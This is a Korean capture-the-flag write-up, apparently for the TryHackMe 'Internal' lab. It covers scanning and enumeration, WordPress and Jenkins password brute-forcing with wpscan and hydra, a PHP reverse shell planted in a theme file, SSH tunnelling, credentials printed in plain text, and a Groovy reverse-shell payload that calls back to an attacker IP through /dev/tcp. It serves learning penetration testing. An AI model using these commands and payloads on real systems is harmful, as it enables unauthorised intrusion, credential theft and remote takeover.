원격지 서버에 ping을 날려본다 ttl이 63인것을 보면 Linux계열임을 유추할 수 있다.
$ping 10.10.204.110
PING 10.10.204.110 (10.10.204.110) 56(84) bytes of data.
64 bytes from 10.10.204.110: icmp_seq=1 ttl=63 time=279 ms
64 bytes from 10.10.204.110: icmp_seq=2 ttl=63 time=279 ms
64 bytes from 10.10.204.110: icmp_seq=3 ttl=63 time=279 ms
^C
--- 10.10.204.110 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 278.595/278.761/278.898/0.125 ms
어떤 포트에 어떤 서비스가 동작하는지 확인을 위해 포트스캐닝을 진행한다. 모든포트(65535까지) -p-, 스캐닝속도 -T4, nmap은 기본적으로 TCP Half-SCAN 을 진행하므로 진행속도가 좀 느리다. 만약 응답이 없으면 --max-retries=2 로 최대 요청을 두번만한다. 그리고 출력파일을 -oN으로 지정한다. 결과로는 22 번 포트와 80번 두개의 포트만 열려있음을 확인했다.
$sudo nmap -p- -T4 --max-retries=2 10.10.204.110 -oN internal_nmap_allport.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-28 03:37 KST
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.49% done; ETC: 03:37 (0:00:17 remaining)
Nmap scan report for 10.10.204.110
Host is up (0.28s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 259.10 seconds
80 포트에 서비스되는 http에 들가봤더니 apache 설치기 기본적인 디폴트 페이지가 출력된다.
apache 설치되는 기본경로들을 탐색해보았지만 아무런정보를 얻지못했다. 따라서 디렉터리 스캐닝을 돌렸다.
결과적으로는 wordpress와 phpmyadmin이 설치되어있는 것 같다.
$gobuster dir -u 10.10.204.110 --wordlist=/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 | tee internal_gobuster.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.204.110
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/08/28 04:14:35 Starting gobuster in directory enumeration mode
===============================================================
/blog (Status: 301) [Size: 313] [--> http://10.10.204.110/blog/]
/wordpress (Status: 301) [Size: 318] [--> http://10.10.204.110/wordpress/]
/javascript (Status: 301) [Size: 319] [--> http://10.10.204.110/javascript/]
/phpmyadmin (Status: 301) [Size: 319] [--> http://10.10.204.110/phpmyadmin/]
/server-status (Status: 403) [Size: 278]
/blog/ 페이지에 들어가보았지만, dns가 resolving 되지 않아 접근할 수 없었다. 따라서 /etc/hosts 파일에 호스트와 ip 정보를 추가해주어서 접근할 수 있었다.
/etc/hosts 파일에 호스트와 ip정보를 추가하면 정상적으로 워드프레스 사이트에 접근할 수 있다.
하단의 login 버튼을누르면 wp-login.php 페이지에 들어가지는데 워드프레스 설치시 설정되는 디폴트 계정으로 액세스시도하여도 로그인이 되지 않았다.
여러번 로그인실패를 하다보면 깨닫는게있다. username이 존재하고 passwd 만 틀리면 패스워드가 일치하지 않는다고 출력되고, username자체가 존재하지 않으면 그러한 계정이 없다고 출력된다.
워드프레스에 어떤 테마가 존재하는지 확인할겸 wpscan으로 어떤 유저가 존재하는지 더 알아보았다. 결과적으로는 twentysventeen 테마가 발견되었고 admin말고 발견되는 계정이 존재하지 않았다. 따라서 admin계정을 passwd 만 알아내면 될 것 같다.
$wpscan --url http://internal.thm/blog --enumerate u
wpscan으로 Password Guessing 또한 할 수 있다. 생각보다 오래걸려서 hydra의 http-post-form 이나 파이썬으로 직접 고성능 스크립트를 작성하려할 떄 답이 나와주었다.
CREDENTIALS : admin : my2boys
$wpscan --url http://internal.thm/blog/ -U admin -P /usr/share/wordlists/rockyou.txt
크랙한 Credential 로 로그인하면 워드프레스 환경이 출력된다.
왼쪽 메뉴바에서 Apperance 탭에서 Thema Editor 페이지에 들어가면 twentyseventeen에 대한 페이지 정보들을 수정할 수 있다. 오른쪽에 나와있는 ThemeFile이 테마에 존재하는 페이지들이다.
가장 쓸모없어 보이는 404.php 파일을 이용하자. 404.php 의 기존내용을 삭제하고 ip와 port를 php reverse shell 코드를 인젝션시키고 업데이드 시키면된다.
이제 로컬에서 nc 로 10.11.71.183와 9999포트를 바인딩시켜 listening시켜 접속을 기다린후,
twentyseven 테마가 존재하는 링크의 404.php에 접근하면 원격지의 쉘을 취득할 수 있다.
이렇게 얻은 쉘은 ctrl + c 인 SIGTERM, ctrl + L인 clear 등 방향키버튼 등등이 먹지않는다. 따라서 안정적인 stable 한 쉘을 만들어주어 interactive하게 만들어주어야 한다.
첫번쨰로 파이썬의 존재를 확인후 bash쉘을 얻어준다.
이어서 얻은 쉘을 잠시 백그라운드로 보낸후, 로컬의 터미널을 stty raw -echo로 설정하고 다시 쉘을 포그라운드로 돌린다.
이렇게 하면 먹히지않았던 ctrl + c 와 ctrl + L, 그리고 방향키가 잘 작동한다.
마지막으로 쉘의 터미널 사이즈와 터미널 설정을 변경해주어야 한다.
원격지의 쉘과 로컬의 쉘의 터미널 사이즈 설정이 맞지않아 명령어를 길게 입력하면 명령어가 잘보이지 않고 겹쳐보이고
clear를 입력하면 TERM 오류가 발생한다.
export TERM=xterm 으로 터미널을 변경해주고 로컬로 돌아서 stty -a 로 터미널 사이즈를 확인 후 원격지 쉘에 로컬 터미널 row, cols를 설정해주면 clear 명령어와 명령어를 길게입력해도 명령어가 겹쳐보이지 않는다. 이 기술은 unstable한 쉘에서 stable한 쉘을 얻는 기술인데 꼭 알아두어야 한다.
이제 권한상승이 필요하다. 현재 권한을 보면 웹서버의 기본 권한인 www-data이다. 결과적으로 root의 플래그를얻기위해서는 권한상승을 통해 real uid나 effective uid 를 0으로 만들어주어야한다. 0은 root를 말한다.
침투하자마자 user.txt flag파일을 찾았지만 낚시파일이었다.
그래서 홈디렉터리에 가서 어떤 유저가 존재하나 확인해보았는데 접근할 수 없었다.
지금껏 침투하자마자 user.txt flag를 얻고 root 플래그를 얻는 것이 대부분이었는데, aubreanna 유저의 권한을 먼저 얻어야 할 것 같다.
해당 서버에서 웹서비스가 돌아가고있기때문에 /var/www/html 폴더로 가서 설정파일들을 좀 살펴보았다.
쓸모없는 .gif 파일을 제외시키고 모든파일을 cat으로 출력시키고 그 안에서 user와 passwd 관련 문자들을 모두 찾을 수 있다. define문으로 db use와 db passwd 가 wordpress:wordpress123으로 설정되어있는것을 확인할 수 있다.
$find . -name '*conf*' -exec ls {} \; 2>/dev/null | grep -v '.gif'
$find . -name '*conf*' -exec ls {} \; 2>/dev/null | grep -v '.gif' | xargs cat | grep -i 'user\|pass'
전에 gobuster로 디렉터리를 탐색했을 떄 phpmyadmin 페이지가 존재했음을 확인했다.
따라서 phpmyadmin 페이지에 들어가서 wordpress wordpress123으로 로그인하여 봤지만 얻은 정보가 없었다.
그래서 생각해낸게 phpmyadmin의 설정파일을 찾아보았다.
phpmyadmin이라는 디렉터리를 찾아보면 목적에 맞게 설정파일이 담긴 /etc 디렉터리에 존재하는 것을 확인할 수 있다.
$find / -type d -name 'phpmyadmin' 2>/dev/null
이번에도 이렇게 존재하는 파일들중에서 user 와 pass 관련 문자열을 찾아본 결과 phpmyadmin : B2Ud4fEOZmVq 라는
credential을 얻게되었다. 하지만 이것도 phpmyadmin에서 확인해보니까 나오는게 없었다.
$find . | xargs cat | grep -i 'user\|pass'
진짜 답이 안나와서 그냥 .txt 로 끝나는 파일 모두를 찾아보았다. 굉장히 많은 파일들이 나온다. 이것들중에서 필요없는 디렉터리들을 제거하면서 보면 드디어 특이한 파일이 나오는데 확인해보면 aubreanna 의 계정의 passwd 가나온다.
aubreanna:bubb13guM!@#123
aubreanna 계정으로 로그인하면 user.txt 의 플래그를 확인할 수 있다. 이제 진짜 권한 상승을 해야한다..
일단 편의를 위해 aubreanna 계정으로 ssh로 들어왔다. 아래의 사진을 보면 3개의 파일이 있는데 jenkis.txt 파일에는 172.17.0.2 에서 8080포트로 바인딩된 Jenkins가 서비스되고있다고 나온다.
확인해보면 docker서버에서 운영되고 있는것으로 판별된다. B클래스대역이며, 8080포트가 열려있음을 확인했다.
로컬에서 도커의 8080포트에 서비스중인 jenkins에 접근하면 SSH서버의 방화벽에서 80포트와 22만 허용하고 나머지 포트는 모두 차단된 상태이기 때문에 접근할 수 없음을 확인할 수 있다. 하지만 SSH서버내부에서는 접근이 가능한 것을 확인 가능하다. 이것이 가능한 이유는 일반적으로 방화벽은 외부에서 내부로 들어오는 인바운드 패킷을 제한하지만, 내부끼리의 통신은 제한하기 않기 떄문이다.
따라서 Local SSH Tunneling(Port Forwarding)이 가능하다. Local SSH Tunneling이 가능하기 위한 조건은
원격지서버에 22포트가 활성화되어있어야하고 외부에서 접근할 수 없는 특정 서비스가 원격지서버에서 동작하고 있으면 된다.
아래의 명령어를 해석하면 internal.thm서버의 22번포트와 172.17.0.2서버의 8080포트 를 엮어 SSH 터널을 생성하고 로컬의 9000포트에서 접근할 수 있게 하겠다라는 의미이다.
아래의 사진을 보면 일반적으로 SSH 연결했을 때와 다름이 없어 보이지만 로컬에서 9000포트로 접근하면 Endpoint인 172.17.0.2:8080 에 접근이 가능해진다.
$ssh -L 9000:172.17.0.2:8080 aubreanna@internal.thm
브라우저에서 localhost:9000에 접근하면 Jenkins가 등장하게 되는데, jenkins의 기본 id password를 넣어도 되지않는다. 따라서 hydra 의 http-post-form 를이용하여 password-guessing을 할 수 있다.
로그인실패했을 때의 request를 보면 입력한 admin와 passoword와 몇개의 파라미터가 post로 전달되는 것을 확인가능한데, 이것을 이용하여 hydra로 패턴매칭을 해주면된다.
admin : spongebob
$hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 9000 http-post-form '/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password'
hydra -l [유저] -P [PASSWD파일] URL -s PORT http-post-form '/action페이지:쿼리스트링:패턴매칭'
// ^USER^ 은 -l 유저로부터 넘어온 값
// ^PASS^ 는 -P 의 Wordlists에서 넘어온 값
얻은 Credential로 로그인하면 Dashboard 페이지가 나오는데 오른쪽 Manage Jenkins 메뉴에서 하단의 Script Console창에 들어가면 시스템 명령어를 삽입할 수 있는 폼이 나온다.
고의적으로 오류를 내보면 Result에 java 컴파일 오류가 나온다.
Jenkins 가 자바로 이루어진것을 알게되었으니 자바의 기본 println문을 사용하면 출력이되진않지만 오류가 나지 않는 것을 보면 잘 작동하는 것 같다.
따라서 java reverseshell 코드를 삽입 후 nc에서 listen하고 있으면 쉘을 취득할 수 있다.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.11.71.183/9990;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
전과 같이 모든 txt확장자 파일을 찾으면 note.txt 파일이 발견되는데 이 파일을 확인하면 root 의 credential을 확득할 수 있다.
root로 ssh에 로그인해서 플래그를 보면 된다.
난이도 Hard 였는데 진짜드럽게 어려웠다 ㅋㅋㅋㅋㅋ;;